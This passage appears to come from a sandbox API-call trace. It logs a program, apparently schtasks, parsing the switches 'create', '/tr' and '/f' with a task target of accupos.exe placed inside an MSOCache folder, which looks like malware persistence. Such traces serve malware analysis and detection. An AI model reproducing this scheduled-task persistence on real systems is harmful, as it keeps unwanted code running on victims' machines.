(_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.434] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|create|") returned 8 [0122.434] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.437] lstrlenW (lpString="|create|") returned 8 [0122.437] lstrlenW (lpString="|tr|") returned 4 [0122.437] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0122.437] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.437] lstrlenW (lpString="?") returned 1 [0122.437] lstrlenW (lpString="?") returned 1 [0122.437] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.437] lstrlenW (lpString="tr") returned 2 [0122.437] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.438] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|?|") returned 3 [0122.438] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.438] lstrlenW (lpString="|?|") returned 3 [0122.438] lstrlenW (lpString="|tr|") returned 4 [0122.438] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.438] lstrlenW (lpString="s") returned 1 [0122.438] lstrlenW (lpString="s") returned 1 [0122.438] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.438] lstrlenW (lpString="tr") returned 2 [0122.438] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.438] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|s|") returned 3 [0122.438] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.438] lstrlenW (lpString="|s|") returned 3 [0122.438] lstrlenW (lpString="|tr|") returned 4 [0122.438] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.438] lstrlenW (lpString="u") returned 1 [0122.438] lstrlenW (lpString="u") returned 1 [0122.438] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.438] lstrlenW (lpString="tr") returned 2 [0122.438] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.438] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|u|") returned 3 [0122.438] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.438] lstrlenW (lpString="|u|") returned 3 [0122.438] lstrlenW (lpString="|tr|") returned 4 [0122.438] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.438] lstrlenW (lpString="p") returned 1 [0122.439] lstrlenW (lpString="p") returned 1 [0122.439] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.439] lstrlenW (lpString="tr") returned 2 [0122.439] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.439] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|p|") returned 3 [0122.439] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.439] lstrlenW (lpString="|p|") returned 3 [0122.439] lstrlenW (lpString="|tr|") returned 4 [0122.439] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.439] lstrlenW (lpString="ru") returned 2 [0122.439] lstrlenW (lpString="ru") returned 2 [0122.439] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.439] lstrlenW (lpString="tr") returned 2 [0122.439] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.439] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|ru|") returned 4 [0122.439] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.439] lstrlenW (lpString="|ru|") returned 4 [0122.439] lstrlenW (lpString="|tr|") returned 4 [0122.439] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0122.439] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.439] lstrlenW (lpString="rp") returned 2 [0122.439] lstrlenW (lpString="rp") returned 2 [0122.439] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.439] lstrlenW (lpString="tr") returned 2 [0122.439] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.440] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|rp|") returned 4 [0122.440] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.440] lstrlenW (lpString="|rp|") returned 4 [0122.440] lstrlenW (lpString="|tr|") returned 4 [0122.440] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0122.440] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.440] lstrlenW (lpString="sc") returned 2 [0122.440] lstrlenW (lpString="sc") returned 2 [0122.440] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.440] lstrlenW (lpString="tr") returned 2 [0122.440] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.440] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.440] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.440] lstrlenW (lpString="|sc|") returned 4 [0122.440] lstrlenW (lpString="|tr|") returned 4 [0122.440] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0122.440] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.440] lstrlenW (lpString="mo") returned 2 [0122.440] lstrlenW (lpString="mo") returned 2 [0122.440] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.440] lstrlenW (lpString="tr") returned 2 [0122.440] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.440] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|mo|") returned 4 [0122.440] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.440] lstrlenW (lpString="|mo|") returned 4 [0122.441] lstrlenW (lpString="|tr|") returned 4 [0122.441] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0122.441] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.441] lstrlenW (lpString="d") returned 1 [0122.441] lstrlenW (lpString="d") returned 1 [0122.441] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.441] lstrlenW (lpString="tr") returned 2 [0122.441] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.441] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|d|") returned 3 [0122.441] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.441] lstrlenW (lpString="|d|") returned 3 [0122.441] lstrlenW (lpString="|tr|") returned 4 [0122.441] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.441] lstrlenW (lpString="m") returned 1 [0122.441] lstrlenW (lpString="m") returned 1 [0122.441] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.441] lstrlenW (lpString="tr") returned 2 [0122.441] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.441] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|m|") returned 3 [0122.441] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.441] lstrlenW (lpString="|m|") returned 3 [0122.441] lstrlenW (lpString="|tr|") returned 4 [0122.441] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.441] lstrlenW (lpString="i") returned 1 [0122.441] lstrlenW (lpString="i") returned 1 [0122.441] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.442] lstrlenW (lpString="tr") returned 2 [0122.442] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.442] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|i|") returned 3 [0122.442] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.442] lstrlenW (lpString="|i|") returned 3 [0122.442] lstrlenW (lpString="|tr|") returned 4 [0122.442] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.442] lstrlenW (lpString="tn") returned 2 [0122.442] lstrlenW (lpString="tn") returned 2 [0122.442] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.442] lstrlenW (lpString="tr") returned 2 [0122.442] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.442] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.442] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.442] lstrlenW (lpString="|tn|") returned 4 [0122.442] lstrlenW (lpString="|tr|") returned 4 [0122.442] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0122.442] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.442] lstrlenW (lpString="tr") returned 2 [0122.442] lstrlenW (lpString="tr") returned 2 [0122.442] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.442] lstrlenW (lpString="tr") returned 2 [0122.442] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.442] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.442] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tr|") returned 4 [0122.443] lstrlenW (lpString="|tr|") returned 4 [0122.443] lstrlenW (lpString="|tr|") returned 4 [0122.443] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.443] lstrlenW (lpString="-/") returned 2 [0122.443] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.443] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'" [0122.443] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.443] _memicmp (_Buf1=0x1c18033abe0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.443] _memicmp (_Buf1=0x1c18033ab80, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] lstrlenW (lpString="'C") returned 2 [0122.443] lstrlenW (lpString="-/") returned 2 [0122.443] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.443] _memicmp (_Buf1=0x1c18033aa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.443] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.444] GetProcessHeap () returned 0x1c180330000 [0122.444] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033aba0) returned 1 [0122.444] GetProcessHeap () returned 0x1c180330000 [0122.444] RtlReAllocateHeap (Heap=0x1c180330000, Flags=0xc, Ptr=0x1c18033aba0, Size=0x9a) returned 0x1c18033ac20 [0122.444] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.444] lstrlenW (lpString=" \x09") returned 2 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0122.444] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0122.444] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x7b) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x7d) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0122.446] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0122.447] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0122.447] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0122.447] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0122.447] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0122.447] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0122.447] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0122.447] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0122.447] GetLastError () returned 0x0 [0122.447] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.447] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0122.447] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.447] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.447] lstrlenW (lpString="/f") returned 2 [0122.447] lstrlenW (lpString="-/") returned 2 [0122.447] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.447] lstrlenW (lpString="create") returned 6 [0122.447] lstrlenW (lpString="create") returned 6 [0122.447] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.447] lstrlenW (lpString="f") returned 1 [0122.447] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.447] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|create|") returned 8 [0122.448] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.448] lstrlenW (lpString="|create|") returned 8 [0122.448] lstrlenW (lpString="|f|") returned 3 [0122.448] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0122.448] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.448] lstrlenW (lpString="?") returned 1 [0122.448] lstrlenW (lpString="?") returned 1 [0122.448] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.448] lstrlenW (lpString="f") returned 1 [0122.448] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.448] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|?|") returned 3 [0122.448] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.448] lstrlenW (lpString="|?|") returned 3 [0122.448] lstrlenW (lpString="|f|") returned 3 [0122.448] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0122.448] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.448] lstrlenW (lpString="s") returned 1 [0122.448] lstrlenW (lpString="s") returned 1 [0122.448] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.448] lstrlenW (lpString="f") returned 1 [0122.448] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.449] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|s|") returned 3 [0122.449] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.449] lstrlenW (lpString="|s|") returned 3 [0122.449] lstrlenW (lpString="|f|") returned 3 [0122.449] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0122.449] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.449] lstrlenW (lpString="u") returned 1 [0122.449] lstrlenW (lpString="u") returned 1 [0122.449] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.449] lstrlenW (lpString="f") returned 1 [0122.449] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.449] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|u|") returned 3 [0122.449] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.449] lstrlenW (lpString="|u|") returned 3 [0122.449] lstrlenW (lpString="|f|") returned 3 [0122.449] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0122.456] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.456] lstrlenW (lpString="p") returned 1 [0122.456] lstrlenW (lpString="p") returned 1 [0122.456] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.456] lstrlenW (lpString="f") returned 1 [0122.456] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.456] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|p|") returned 3 [0122.456] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.456] lstrlenW (lpString="|p|") returned 3 [0122.456] lstrlenW (lpString="|f|") returned 3 [0122.456] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0122.456] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.456] lstrlenW (lpString="ru") returned 2 [0122.456] lstrlenW (lpString="ru") returned 2 [0122.456] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.456] lstrlenW (lpString="f") returned 1 [0122.457] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.457] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|ru|") returned 4 [0122.457] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.457] lstrlenW (lpString="|ru|") returned 4 [0122.457] lstrlenW (lpString="|f|") returned 3 [0122.457] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0122.457] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.457] lstrlenW (lpString="rp") returned 2 [0122.457] lstrlenW (lpString="rp") returned 2 [0122.457] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.457] lstrlenW (lpString="f") returned 1 [0122.457] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.457] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|rp|") returned 4 [0122.457] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.457] lstrlenW (lpString="|rp|") returned 4 [0122.457] lstrlenW (lpString="|f|") returned 3 [0122.457] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0122.457] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.457] lstrlenW (lpString="sc") returned 2 [0122.457] lstrlenW (lpString="sc") returned 2 [0122.457] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.457] lstrlenW (lpString="f") returned 1 [0122.457] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.457] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|sc|") returned 4 [0122.457] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|f|") returned 3 [0122.458] lstrlenW (lpString="|sc|") returned 4 [0122.458] lstrlenW (lpString="|f|") returned 3 [0122.458] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0122.458] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.458] lstrlenW (lpString="mo") returned 2 [0122.458] lstrlenW (lpString="mo") returned 